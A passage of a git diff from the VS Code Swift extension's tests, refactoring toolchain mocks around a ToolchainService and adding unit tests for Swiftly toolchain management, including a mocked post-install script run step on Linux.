setup(() => { + mockedToolchainService = mockObject({ + create: mockFn(s => + s.rejects( + new Error("ToolchainService.create() was not properly mocked for the test.") + ) + ), + }); + workspaceContext.toolchainService = mockedToolchainService; + }); + afterEach(() => { restore(); }); test("handles SwiftToolchain.create failure gracefully with user dismissal", async () => { const mockError = new Error("Mock toolchain failure"); - swiftToolchainCreateStub = stub(SwiftToolchain, "create").throws(mockError); + mockedToolchainService.create.rejects(mockError); // Mock showToolchainError to return false (user dismissed dialog) const showToolchainErrorStub = stub().resolves(false); @@ -74,11 +85,11 @@ suite("FolderContext Error Handling Test Suite", () => { assert.ok(errorLogs.length > 0, "Should log error message with folder context"); assert.ok( - swiftToolchainCreateStub.calledWith(testFolder), + mockedToolchainService.create.calledWith(testFolder.fsPath), "Should attempt to create toolchain for specific folder" ); assert.strictEqual( - swiftToolchainCreateStub.callCount, + mockedToolchainService.create.callCount, 1, "Should only call SwiftToolchain.create once when user dismisses" ); @@ -89,9 +100,8 @@ suite("FolderContext Error Handling Test Suite", () => { const testFolder = testAssetUri("package2"); // Arrange: Mock SwiftToolchain.create to fail first time, succeed second time - swiftToolchainCreateStub = stub(SwiftToolchain, "create"); - swiftToolchainCreateStub.onFirstCall().throws(new Error("Initial toolchain failure")); - swiftToolchainCreateStub + mockedToolchainService.create.onFirstCall().throws(new Error("Initial toolchain failure")); + mockedToolchainService.create .onSecondCall() .returns(Promise.resolve(workspaceContext.globalToolchain)); @@ -115,7 +125,7 @@ suite("FolderContext Error Handling Test Suite", () => { // Assert: SwiftToolchain.create should be called twice (initial + retry) assert.strictEqual( - swiftToolchainCreateStub.callCount, + mockedToolchainService.create.callCount, 2, "Should retry toolchain creation after user selection" ); @@ -138,9 +148,8 @@ suite("FolderContext Error Handling Test Suite", () => { const initialError = new Error("Initial toolchain failure"); const retryError = new Error("Retry toolchain failure"); - swiftToolchainCreateStub = stub(SwiftToolchain, "create"); - swiftToolchainCreateStub.onFirstCall().throws(initialError); - swiftToolchainCreateStub.onSecondCall().throws(retryError); + mockedToolchainService.create.onFirstCall().throws(initialError); + mockedToolchainService.create.onSecondCall().throws(retryError); // Mock showToolchainError to return true (user made selection) const showToolchainErrorStub = stub().resolves(true); @@ -163,7 +172,7 @@ suite("FolderContext Error Handling Test Suite", () => { ); assert.strictEqual( - swiftToolchainCreateStub.callCount, + mockedToolchainService.create.callCount, 2, "Should retry toolchain creation after user selection" ); diff --git a/test/integration-tests/SwiftPackage.test.ts b/test/integration-tests/SwiftPackage.test.ts index 6aeee600e..d5a107a4d 100644 --- a/test/integration-tests/SwiftPackage.test.ts +++ b/test/integration-tests/SwiftPackage.test.ts @@ -14,17 +14,20 @@ import * as assert from "assert"; import { SwiftPackage } from "@src/SwiftPackage"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import { Version } from "@src/utilities/version"; import { testAssetUri } from "../fixtures"; import { tag } from "../tags"; +import { activateExtensionForSuite } from "./utilities/testutilities"; tag("medium").suite("SwiftPackage Test Suite", function () { let toolchain: SwiftToolchain; - setup(async () => { - toolchain = await SwiftToolchain.create(); + activateExtensionForSuite({ + setup(ctx) { + toolchain = ctx.globalToolchain; + }, }); test("No package", async () => { diff --git a/test/integration-tests/commands/runSwiftScript.test.ts b/test/integration-tests/commands/runSwiftScript.test.ts index 0928b3046..a1a1b340f 100644 --- a/test/integration-tests/commands/runSwiftScript.test.ts +++ b/test/integration-tests/commands/runSwiftScript.test.ts @@ -17,7 +17,7 @@ import * as vscode from "vscode"; import { runSwiftScript } from "@src/commands/runSwiftScript"; import { TaskManager } from "@src/tasks/TaskManager"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import { activateExtensionForSuite, findWorkspaceFolder } from "../utilities/testutilities"; diff --git a/test/integration-tests/debugger/lldb.test.ts b/test/integration-tests/debugger/lldb.test.ts index b0a4c1c2c..2dc3e3060 100644 --- a/test/integration-tests/debugger/lldb.test.ts +++ b/test/integration-tests/debugger/lldb.test.ts @@ -44,14 +44,14 @@ suite("lldb contract test suite", () => { // Check the result for various platforms if (process.platform === "linux") { - expect(libPath.success).to.match(/liblldb.*\.so.*/); // Matches .so file pattern + expect(libPath.value).to.match(/liblldb.*\.so.*/); // Matches .so file pattern } else if (process.platform === "darwin") { - expect(libPath.success).to.match(/liblldb\..*dylib|LLDB/); // Matches .dylib or LLDB + expect(libPath.value).to.match(/liblldb\..*dylib|LLDB/); // Matches .dylib or LLDB } else if (process.platform === "win32") { - expect(libPath.success).to.match(/liblldb\.dll/); // Matches .dll for Windows + expect(libPath.value).to.match(/liblldb\.dll/); // Matches .dll for Windows } else { // In other platforms, the path hint should be returned directly - expect(libPath.success).to.be.a("string"); + expect(libPath.value).to.be.a("string"); } }); }); diff --git a/test/integration-tests/tasks/SwiftExecution.test.ts b/test/integration-tests/tasks/SwiftExecution.test.ts index 864844782..2ca131df6 100644 --- a/test/integration-tests/tasks/SwiftExecution.test.ts +++ b/test/integration-tests/tasks/SwiftExecution.test.ts @@ -15,7 +15,7 @@ import * as assert from "assert"; import * as vscode from "vscode"; import { WorkspaceContext } from "@src/WorkspaceContext"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import { testSwiftTask } from "../../fixtures"; import { executeTaskAndWaitForResult, waitForStartTaskProcess } from "../../utilities/tasks"; @@ -29,7 +29,7 @@ suite("SwiftExecution Tests Suite", () => { activateExtensionForSuite({ async setup(ctx) { workspaceContext = ctx; - toolchain = await SwiftToolchain.create(); + toolchain = ctx.globalToolchain; assert.notEqual(workspaceContext.folders.length, 0); workspaceFolder = workspaceContext.folders[0].workspaceFolder; }, diff --git a/test/integration-tests/tasks/SwiftTaskProvider.test.ts b/test/integration-tests/tasks/SwiftTaskProvider.test.ts index 0fa652de4..3fa70e21d 100644 --- a/test/integration-tests/tasks/SwiftTaskProvider.test.ts +++ b/test/integration-tests/tasks/SwiftTaskProvider.test.ts @@ -17,8 +17,10 @@ import * as vscode from "vscode"; import { FolderContext } from "@src/FolderContext"; import { WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { NodeEnvironment } from "@src/services/Environment"; import { createBuildAllTask, createSwiftTask, getBuildAllTask } from "@src/tasks/SwiftTaskProvider"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import { Version } from "@src/utilities/version"; import { mockGlobalObject } from "../../MockUtils"; @@ -77,6 +79,7 @@ suite("SwiftTaskProvider Test Suite", () => { "help", { cwd: workspaceFolder.uri, scope: vscode.TaskScope.Workspace }, new SwiftToolchain( + new NodeEnvironment(configuration), "/invalid/swift/path", "/invalid/toolchain/path", { diff --git a/test/integration-tests/testexplorer/LSPTestDiscovery.test.ts b/test/integration-tests/testexplorer/LSPTestDiscovery.test.ts index 8173b5842..a55434a69 100644 --- a/test/integration-tests/testexplorer/LSPTestDiscovery.test.ts +++ b/test/integration-tests/testexplorer/LSPTestDiscovery.test.ts @@ -28,15 +28,16 @@ import { import { SwiftPackage, Target, TargetType } from "@src/SwiftPackage"; import { LSPTestDiscovery } from "@src/TestExplorer/LSPTestDiscovery"; import { TestClass } from "@src/TestExplorer/TestDiscovery"; +import { WorkspaceContext } from "@src/WorkspaceContext"; import { LanguageClientManager } from "@src/sourcekit-lsp/LanguageClientManager"; import { LSPTestItem, TextDocumentTestsRequest, WorkspaceTestsRequest, } from "@src/sourcekit-lsp/extensions"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; import { instance, mockFn, mockObject } from "../../MockUtils"; +import { activateExtensionForSuite } from "../utilities/testutilities"; class TestLanguageClient { private responses = new Map(); @@ -81,14 +82,20 @@ class TestLanguageClient { } suite("LSPTestDiscovery Suite", () => { + let workspaceContext: WorkspaceContext; let client: TestLanguageClient; let discoverer: LSPTestDiscovery; let pkg: SwiftPackage; const file = vscode.Uri.file("/some/file.swift"); - beforeEach(async function () { - this.timeout(10000000); - pkg = await SwiftPackage.create(file, await SwiftToolchain.create()); + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + }, + }); + + setup(async () => { + pkg = await SwiftPackage.create(file, workspaceContext.globalToolchain); client = new TestLanguageClient(); discoverer = new LSPTestDiscovery( instance( diff --git a/test/integration-tests/testexplorer/TestDiscovery.test.ts b/test/integration-tests/testexplorer/TestDiscovery.test.ts index df1cd7409..cb4ceaed9 100644 --- a/test/integration-tests/testexplorer/TestDiscovery.test.ts +++ b/test/integration-tests/testexplorer/TestDiscovery.test.ts @@ -23,13 +23,22 @@ import { updateTestsFromClasses, } from "@src/TestExplorer/TestDiscovery"; import { reduceTestItemChildren } from "@src/TestExplorer/TestUtils"; +import { WorkspaceContext } from "@src/WorkspaceContext"; import { TestStyle } from "@src/sourcekit-lsp/extensions"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; + +import { activateExtensionForSuite } from "../utilities/testutilities"; suite("TestDiscovery Suite", () => { + let workspaceContext: WorkspaceContext; let testController: vscode.TestController; let testRunCtr = 0; + activateExtensionForSuite({ + setup(ctx) { + workspaceContext = ctx; + }, + }); + interface SimplifiedTestItem { id: string; children: SimplifiedTestItem[]; @@ -223,7 +232,10 @@ suite("TestDiscovery Suite", () => { test("updates tests from classes within a swift package", async () => { const targetFolder = vscode.Uri.file("file:///some/"); - const swiftPackage = await SwiftPackage.create(targetFolder, await SwiftToolchain.create()); + const swiftPackage = await SwiftPackage.create( + targetFolder, + workspaceContext.globalToolchain + ); const testTargetName = "TestTarget"; const target: Target = { c99name: testTargetName, diff --git a/test/integration-tests/utilities/testutilities.ts b/test/integration-tests/utilities/testutilities.ts index ba3b983af..8b5421a22 100644 --- a/test/integration-tests/utilities/testutilities.ts +++ b/test/integration-tests/utilities/testutilities.ts @@ -55,7 +55,7 @@ const extensionBootstrapper = (() => { | (( this: Mocha.Context, ctx: WorkspaceContext - ) => Promise<(() => Promise) | void>) + ) => Promise<(() => Promise) | void> | void) | undefined, after: Mocha.HookFunction, teardown: ((this: Mocha.Context) => Promise) | undefined, @@ -294,7 +294,7 @@ const extensionBootstrapper = (() => { setup?: ( this: Mocha.Context, ctx: WorkspaceContext - ) => Promise<(() => Promise) | void>; + ) => Promise<(() => Promise) | void> | void; teardown?: (this: Mocha.Context) => Promise; testAssets?: string[]; requiresLSP?: boolean; diff --git a/test/unit-tests/commands/runSwiftScript.test.ts b/test/unit-tests/commands/runSwiftScript.test.ts index a6b6b7de4..2be3ab8d2 100644 --- a/test/unit-tests/commands/runSwiftScript.test.ts +++ b/test/unit-tests/commands/runSwiftScript.test.ts @@ -20,7 +20,7 @@ import { runSwiftScript } from "@src/commands/runSwiftScript"; import configuration from "@src/configuration"; import { TaskManager } from "@src/tasks/TaskManager"; import { BuildFlags } from "@src/toolchain/BuildFlags"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import { Version } from "@src/utilities/version"; import { instance, mockFn, mockGlobalObject, mockGlobalValue, mockObject } from "../../MockUtils"; diff --git a/test/unit-tests/commands/switchPlatform.test.ts b/test/unit-tests/commands/switchPlatform.test.ts index 55c4c895e..e9e454e42 100644 --- a/test/unit-tests/commands/switchPlatform.test.ts +++ b/test/unit-tests/commands/switchPlatform.test.ts @@ -17,11 +17,8 @@ import * as vscode from "vscode"; import { WorkspaceContext } from "@src/WorkspaceContext"; import { switchPlatform } from "@src/commands/switchPlatform"; import configuration from "@src/configuration"; -import { - DarwinCompatibleTarget, - SwiftToolchain, - getDarwinTargetTriple, -} from "@src/toolchain/toolchain"; +import { DarwinCompatibleTarget, getDarwinTargetTriple } from "@src/toolchain/SwiftToolchain"; +import { ToolchainService } from "@src/toolchain/ToolchainService"; import { StatusItem } from "@src/ui/StatusItem"; import { @@ -36,24 +33,28 @@ import { suite("Switch Target Platform Unit Tests", () => { const mockedConfiguration = mockGlobalModule(configuration); const windowMock = mockGlobalObject(vscode, "window"); - const mockSwiftToolchain = mockGlobalModule(SwiftToolchain); + let mockedToolchainService: MockedObject; let mockContext: MockedObject; let mockedStatusItem: MockedObject; setup(() => { + mockedToolchainService = mockObject({ + getSDKForTarget: mockFn(), + }); mockedStatusItem = mockObject({ start: mockFn(), end: mockFn(), }); mockContext = mockObject({ statusItem: instance(mockedStatusItem), + toolchainService: mockedToolchainService, }); }); test("Call Switch Platform and switch to iOS", async () => { const selectedItem = { value: DarwinCompatibleTarget.iOS, label: "iOS" }; windowMock.showQuickPick.resolves(selectedItem); - mockSwiftToolchain.getSDKForTarget.resolves(""); + mockedToolchainService.getSDKForTarget.resolves(""); expect(mockedConfiguration.swiftSDK).to.equal(""); await switchPlatform(instance(mockContext)); @@ -72,7 +73,7 @@ suite("Switch Target Platform Unit Tests", () => { test("Call Switch Platform and switch to macOS", async () => { const selectedItem = { value: undefined, label: "macOS" }; windowMock.showQuickPick.resolves(selectedItem); - mockSwiftToolchain.getSDKForTarget.resolves(""); + mockedToolchainService.getSDKForTarget.resolves(""); expect(mockedConfiguration.swiftSDK).to.equal(""); await switchPlatform(instance(mockContext)); diff --git a/test/unit-tests/debugger/debugAdapterFactory.test.ts b/test/unit-tests/debugger/debugAdapterFactory.test.ts index 285a8dbaa..4e6855cb8 100644 --- a/test/unit-tests/debugger/debugAdapterFactory.test.ts +++ b/test/unit-tests/debugger/debugAdapterFactory.test.ts @@ -23,7 +23,7 @@ import * as debugAdapter from "@src/debugger/debugAdapter"; import { LLDBDebugConfigurationProvider } from "@src/debugger/debugAdapterFactory"; import * as lldb from "@src/debugger/lldb"; import { SwiftLogger } from "@src/logging/SwiftLogger"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import { Result } from "@src/utilities/result"; import { Version } from "@src/utilities/version"; @@ -154,7 +154,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { }); mockWorkspace.getConfiguration.returns(instance(mockLldbConfiguration)); mockLLDB.updateLaunchConfigForCI.returnsArg(0); - mockLLDB.getLLDBLibPath.resolves(Result.makeSuccess("/path/to/liblldb.dyLib")); + mockLLDB.getLLDBLibPath.resolves(Result.success("/path/to/liblldb.dyLib")); mockDebuggerConfig.setupCodeLLDB = "prompt"; mockDebugAdapter.getLaunchConfigType.returns(LaunchConfigType.CODE_LLDB); }); diff --git a/test/unit-tests/debugger/lldb.test.ts b/test/unit-tests/debugger/lldb.test.ts index 91c61c69a..edc104d69 100644 --- a/test/unit-tests/debugger/lldb.test.ts +++ b/test/unit-tests/debugger/lldb.test.ts @@ -16,7 +16,7 @@ import * as fs from "fs/promises"; import * as sinon from "sinon"; import * as lldb from "@src/debugger/lldb"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import * as util from "@src/utilities/utilities"; import { @@ -47,7 +47,7 @@ suite("debugger.lldb Tests", () => { test("should return failure if toolchain.getLLDB() throws an error", async () => { mockToolchain.getLLDB.rejects(new Error("Failed to get LLDB")); const result = await lldb.getLLDBLibPath(instance(mockToolchain)); - expect(result.failure).to.have.property("message", "Failed to get LLDB"); + expect(result.error).to.have.property("message", "Failed to get LLDB"); }); test("should return failure when execFile throws an error on windows", async () => { @@ -56,8 +56,8 @@ suite("debugger.lldb Tests", () => { mockUtil.execFile.rejects(new Error("execFile failed")); const result = await lldb.getLLDBLibPath(instance(mockToolchain)); // specific behaviour: return success and failure both undefined - expect(result.failure).to.equal(undefined); - expect(result.success).to.equal(undefined); + expect(result.error).to.equal(undefined); + expect(result.value).to.equal(undefined); }); test("should return failure if findLibLLDB returns falsy values", async () => { @@ -66,12 +66,12 @@ suite("debugger.lldb Tests", () => { mockFindLibLLDB.onFirstCall().resolves(undefined); let result = await lldb.getLLDBLibPath(instance(mockToolchain)); - expect(result.failure).to.not.equal(undefined); + expect(result.error).to.not.equal(undefined); mockFindLibLLDB.onSecondCall().resolves(""); result = await lldb.getLLDBLibPath(instance(mockToolchain)); - expect(result.failure).to.not.equal(undefined); + expect(result.error).to.not.equal(undefined); }); // NB(separate itest): contract test with toolchains of various platforms }); diff --git a/test/unit-tests/sourcekit-lsp/LanguageClientManager.test.ts b/test/unit-tests/sourcekit-lsp/LanguageClientManager.test.ts index 0fe5b4b5d..aa76f9d10 100644 --- a/test/unit-tests/sourcekit-lsp/LanguageClientManager.test.ts +++ b/test/unit-tests/sourcekit-lsp/LanguageClientManager.test.ts @@ -40,7 +40,7 @@ import { DidChangeActiveDocumentParams, } from "@src/sourcekit-lsp/extensions/DidChangeActiveDocumentRequest"; import { BuildFlags } from "@src/toolchain/BuildFlags"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import { Version } from "@src/utilities/version"; import { diff --git a/test/unit-tests/swiftly/Swiftly.test.ts b/test/unit-tests/swiftly/Swiftly.test.ts new file mode 100644 index 000000000..d32164efa --- /dev/null +++ b/test/unit-tests/swiftly/Swiftly.test.ts @@ -0,0 +1,479 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { expect } from "chai"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import { Environment } from "@src/services/Environment"; +import { Shell } from "@src/services/Shell"; +import { Swiftly, SwiftlyCLI } from "@src/swiftly/Swiftly"; +import { SwiftlyError, SwiftlyErrorCode } from "@src/swiftly/SwiftlyError"; +import { AvailableToolchain } from "@src/swiftly/types"; +import { Result } from "@src/utilities/result"; + +import { MockedObject, inMemoryFileSystem, instance, mockFn, mockObject } from "../../MockUtils"; +import { NullLogger } from "../../utilities/NullLogger"; + +suite("SwiftlyService Unit Tests", () => { + const mockedFS = inMemoryFileSystem(); + let mockedEnvironment: MockedObject; + let mockedShell: MockedObject; + let mockedWindow: MockedObject; + let sut: Swiftly; + + setup(() => { + mockedEnvironment = mockObject({ + platform: "darwin", + env: mockFn(s => s.returns({})), + }); + mockedShell = mockObject({ + execFile: mockFn(s => s.rejects("execFile() was not properly mocked for the test.")), + execFileStreamOutput: mockFn(s => + s.rejects("execFileStreamOutput() was not properly mocked for the test.") + ), + }); + mockedWindow = mockObject({ + showInformationMessage: mockFn(), + showWarningMessage: mockFn(), + showErrorMessage: mockFn(), + createOutputChannel: mockFn(s => + s.returns( + mockObject({ + show: mockFn(), + appendLine: mockFn(), + }) + ) + ), + }); + sut = new SwiftlyCLI( + mockedFS, + mockedEnvironment, + mockedShell, + instance(mockedWindow), + new NullLogger() + ); + }); + + function assertSwiftlyError( + name: string, + result: Result, + code: SwiftlyErrorCode + ) { + assert(result.error, `Expected ${name} to return an error, but it succeeded.`); + expect(result.error, `Expected ${name} to return a ${code} error.`) + .to.have.property("code") + .that.equals(code); + } + + test("returns an OS_NOT_SUPPORTED error when running on Windows", async () => { + // GIVEN we're running on Windows + mockedEnvironment.platform = "win32"; + + // WHEN any Swiftly command is issued + const results: { [key: string]: Result } = { + "version()": await sut.version(), + "getActiveToolchain()": await sut.getActiveToolchain(""), + "getInstalledToolchains()": await sut.getInstalledToolchains(), + "getAvailableToolchains()": await sut.getAvailableToolchains(), + "use()": await sut.use("6.2.0"), + "installToolchain()": await sut.installToolchain("6.2.0"), + }; + + // THEN an OS_NOT_SUPPORTED error should be returned + Object.getOwnPropertyNames(results).forEach(method => { + assertSwiftlyError(method, results[method], SwiftlyErrorCode.OS_NOT_SUPPORTED); + }); + }); + + test("returns a NOT_INSTALLED error if Swiftly is not installed", async () => { + // GIVEN that running a Swiftly command throws an ENOENT error + mockedShell.execFile.withArgs("swiftly").rejects({ code: "ENOENT" }); + + // WHEN any Swiftly command is issued + const results: { [key: string]: Result } = { + "version()": await sut.version(), + "getActiveToolchain()": await sut.getActiveToolchain(""), + "getInstalledToolchains()": await sut.getInstalledToolchains(), + "getAvailableToolchains()": await sut.getAvailableToolchains(), + "use()": await sut.use("6.2.0"), + "installToolchain()": await sut.installToolchain("6.2.0"), + }; + + // THEN a NOT_INSTALLED error should be returned + Object.getOwnPropertyNames(results).forEach(method => { + assertSwiftlyError(method, results[method], SwiftlyErrorCode.NOT_INSTALLED); + }); + }); + + suite("Version 1.0.1", () => { + setup(() => { + // All tests in this sub-suite assume that the Swiftly verion is 1.0.1 + mockedShell.execFile + .withArgs("swiftly", ["--version"]) + .resolves({ stdout: "1.0.1\n", stderr: "" }); + }); + + test("getInstalledToolchains() returns installed toolchains from the Swiftly configuration file", async () => { + // GIVEN the environment variable $SWIFTLY_HOME_DIR exists + // AND a configuration file exists in the $SWIFTLY_HOME_DIR directory + mockedEnvironment.env.returns({ SWIFTLY_HOME_DIR: "/home/.swiftly" }); + await mockedFS.mkdir("/home/.swiftly", { recursive: true }); + await mockedFS.writeFile( + "/home/.swiftly/config.json", + JSON.stringify({ + installedToolchains: ["swift-6.2"], + }) + ); + + // WHEN swiftly.listAvailableToolchains() is called + const toolchains = (await sut.getInstalledToolchains()).getOrThrow(); + + // THEN a list of toolchains from the config should be returned + expect(toolchains).to.deep.equal(["swift-6.2"]); + }); + + test("getAvailableToolchains() returns a METHOD_NOT_SUPPORTED error", async () => { + // WHEN getAvailableToolchains() is called + const result = await sut.getAvailableToolchains(); + + // THEN a METHOD_NOT_SUPPORTED error is returned + expect(result.error).to.have.property("code", SwiftlyErrorCode.METHOD_NOT_SUPPORTED); + }); + + test("use() instructs Swiftly to use a particular toolchain", async () => { + // GIVEN "swiftly use " completes succesfully + mockedShell.execFile + .withArgs("swiftly", match.array.startsWith(["use"])) + .resolves({ stdout: "", stderr: "" }); + + // WHEN use() is called with "6.2.0" + (await sut.use("6.2.0")).getOrThrow(); + + // THEN "swiftly use 6.2.0" should have been called + expect(mockedShell.execFile).to.have.been.calledWith("swiftly", ["use", "6.2.0"]); + }); + + test("getActiveToolchain() finds the active toolchain from the Swiftly config", async () => { + // GIVEN the environment variable $SWIFTLY_HOME_DIR exists + // AND a configuration file exists in the $SWIFTLY_HOME_DIR directory + // AND "swiftly use --print-location" returns "/home/.swiftly/toolchains/6.2.0" + mockedEnvironment.env.returns({ SWIFTLY_HOME_DIR: "/home/.swiftly" }); + await mockedFS.mkdir("/home/.swiftly", { recursive: true }); + await mockedFS.writeFile( + "/home/.swiftly/config.json", + JSON.stringify({ + installedToolchains: ["6.2"], + inUse: "6.2", + }) + ); + mockedShell.execFile + .withArgs("swiftly", ["use", "--print-location"]) + .resolves({ stdout: "/home/.swiftly/toolchains/6.2.0\n", stderr: "" }); + + // WHEN installToolchain() is called + const result = (await sut.getActiveToolchain("")).getOrThrow(); + + // THEN a METHOD_NOT_SUPPORTED error is returned + expect(result).to.deep.equal({ + name: "6.2", + location: "/home/.swiftly/toolchains/6.2.0", + }); + }); + + test("installToolchain() returns a METHOD_NOT_SUPPORTED error", async () => { + // WHEN installToolchain() is called + const result = await sut.installToolchain("6.2.0"); + + // THEN a METHOD_NOT_SUPPORTED error is returned + expect(result.error).to.have.property("code", SwiftlyErrorCode.METHOD_NOT_SUPPORTED); + }); + }); + + suite("Version 1.1.0", () => { + setup(() => { + // All tests in this sub-suite assume that the Swiftly verion is 1.1.0 + mockedShell.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + }); + + test("getInstalledToolchains() returns installed toolchains using Swiftly's JSON output format", async () => { + // GIVEN "swiftly list --format=json" returns a JSON formatted list of installed toolchains + mockedShell.execFile.withArgs("swiftly", ["list", "--format=json"]).resolves({ + stdout: JSON.stringify({ + toolchains: [ + { + inUse: false, + isDefault: false, + version: { + name: "xcode", + type: "system", + }, + }, + { + inUse: false, + isDefault: false, + version: { + branch: "6.2", + date: "2025-08-21", + major: 6, + minor: 2, + name: "6.2-snapshot-2025-08-21", + type: "snapshot", + }, + }, + { + inUse: true, + isDefault: true, + version: { + major: 6, + minor: 2, + name: "6.2.0", + patch: 0, + type: "stable", + }, + }, + { + inUse: false, + isDefault: false, + version: { + major: 6, + minor: 1, + name: "6.1.2", + patch: 2, + type: "stable", + }, + }, + ], + }), + stderr: "", + }); + + // WHEN getInstalledToolchains() is called + const result = (await sut.getInstalledToolchains()).getOrThrow(); + + // THEN an array of installed toolchains should be returned + expect(result).to.deep.equal(["xcode", "6.2-snapshot-2025-08-21", "6.2.0", "6.1.2"]); + }); + + test("getInstalledToolchains() is resilient to non-breaking JSON output changes", async () => { + // GIVEN "swiftly list --format=json" returns a JSON formatted list of installed toolchains + // AND this output contains extra key value pairs + mockedShell.execFile.withArgs("swiftly", ["list", "--format=json"]).resolves({ + stdout: JSON.stringify({ + newProperty: "new!", // Add an extra property + toolchains: [ + { + inUse: false, + isDefault: false, + newProperty: "new!", // Add an extra property + version: { + // the "special" type doesn't normally exist + type: "special", + name: "special", + }, + }, + { + inUse: false, + isDefault: false, + newProperty: "new!", // Add an extra property + version: { + type: "snapshot", + name: "6.2-snapshot-2025-08-21", + branch: "6.2", + date: "2025-08-21", + major: 6, + minor: 2, + newProperty: "new!", // Add an extra property + }, + }, + ], + }), + stderr: "", + }); + + // WHEN getInstalledToolchains() is called + const result = (await sut.getInstalledToolchains()).getOrThrow(); + + // THEN an array of installed toolchains should be returned + expect(result).to.deep.equal(["special", "6.2-snapshot-2025-08-21"]); + }); + + test("getAvailableToolchains() returns available toolchains using Swiftly's JSON output format", async () => { + // GIVEN "swiftly list-available --format=json" returns a JSON formatted list of installed toolchains + const availableToolchains: AvailableToolchain[] = [ + { + inUse: true, + installed: true, + isDefault: true, + version: { + major: 6, + minor: 2, + name: "6.2.0", + patch: 0, + type: "stable", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + major: 6, + minor: 1, + name: "6.1.3", + patch: 3, + type: "stable", + }, + }, + { + inUse: false, + installed: true, + isDefault: false, + version: { + major: 6, + minor: 1, + name: "6.1.2", + patch: 2, + type: "stable", + }, + }, + ]; + mockedShell.execFile.withArgs("swiftly", ["list-available", "--format=json"]).resolves({ + stdout: JSON.stringify({ + toolchains: availableToolchains, + }), + stderr: "", + }); + + // WHEN getAvailableToolchains() is called + const result = (await sut.getAvailableToolchains()).getOrThrow(); + + // THEN an array of available toolchains should be returned + expect(result).to.deep.equal(availableToolchains); + }); + + test("getAvailableToolchains() is resilient to non-breaking JSON output changes", async () => { + // GIVEN "swiftly list-available --format=json" returns a JSON formatted list of installed toolchains + // AND this output contains extra key value pairs + mockedShell.execFile.withArgs("swiftly", ["list-available", "--format=json"]).resolves({ + stdout: JSON.stringify({ + newProperty: "new!", // Add an extra property + toolchains: [ + { + inUse: true, + installed: true, + isDefault: true, + newProperty: "new!", // Add an extra property + version: { + type: "stable", + name: "6.2.0", + major: 6, + minor: 2, + patch: 0, + newProperty: "new!", // Add an extra property + }, + }, + ], + }), + stderr: "", + }); + + // WHEN getAvailableToolchains() is called + const result = (await sut.getAvailableToolchains()).getOrThrow(); + + // THEN an array of available toolchains should be returned + expect(result).to.deep.equal([ + { + inUse: true, + installed: true, + isDefault: true, + version: { + type: "stable", + name: "6.2.0", + major: 6, + minor: 2, + patch: 0, + }, + }, + ]); + }); + + test("installToolchain() invokes 'swiftly install '", async () => { + // GIVEN "swiftly install" succeeds + mockedShell.execFile + .withArgs("swiftly", match.array.startsWith(["install"])) + .resolves({ stdout: "", stderr: "" }); + + // WHEN installToolchain() is called with "6.2.0" + (await sut.installToolchain("6.2.0")).getOrThrow(); + + // THEN "swiftly install 6.2.0" should have been called + expect(mockedShell.execFile).to.have.been.calledWith( + "swiftly", + match.array.startsWith(["install", "6.2.0"]) + ); + }); + + test("installToolchain() runs the post install script on Linux", async () => { + // GIVEN we're running in Linux + // AND the user accepts all VSCode dialogs + // AND "swiftly install" creates a post install script + // AND the user accepts the confirmation dialog + // AND chmod succeeds + // AND pkexec succeeds + mockedEnvironment.platform = "linux"; + let postInstallScriptLocation: string | undefined = undefined; + mockedShell.execFile + .withArgs("swiftly", match.array.startsWith(["install"])) + .callsFake(async (_executable, args) => { + // Intercept the post install script + const indexOfPostInstallArg = args.findIndex(a => a === "--post-install-file"); + expect( + indexOfPostInstallArg, + "Unable to find --post-install-script" + ).to.be.greaterThanOrEqual(0); + postInstallScriptLocation = args[indexOfPostInstallArg + 1]; + await mockedFS.writeFile( + postInstallScriptLocation, + "apt-get -y install sql-lite\n", + "utf-8" + ); + return { stdout: "", stderr: "" }; + }); + mockedWindow.showWarningMessage.resolves("Execute Script" as any); + mockedShell.execFile.withArgs("chmod").resolves({ stdout: "", stderr: "" }); + mockedShell.execFileStreamOutput.withArgs("pkexec").resolves(); + + // WHEN installToolchain() is called with "6.2.0" + (await sut.installToolchain("6.2.0")).getOrThrow(); + + // THEN "swiftly install 6.2.0" should have been called + // AND the post install script should have been executed + expect(mockedShell.execFile).to.have.been.calledWith( + "swiftly", + match.array.startsWith(["install", "6.2.0"]) + ); + expect(mockedShell.execFile).to.have.been.calledWith("chmod", [ + "+x", + postInstallScriptLocation, + ]); + expect(mockedShell.execFileStreamOutput).to.have.been.calledWith("pkexec", [ + postInstallScriptLocation, + ]); + }); + }); +}); diff --git a/test/unit-tests/tasks/SwiftPluginTaskProvider.test.ts b/test/unit-tests/tasks/SwiftPluginTaskProvider.test.ts index 4f90d934c..5c971f80d 100644 --- a/test/unit-tests/tasks/SwiftPluginTaskProvider.test.ts +++ 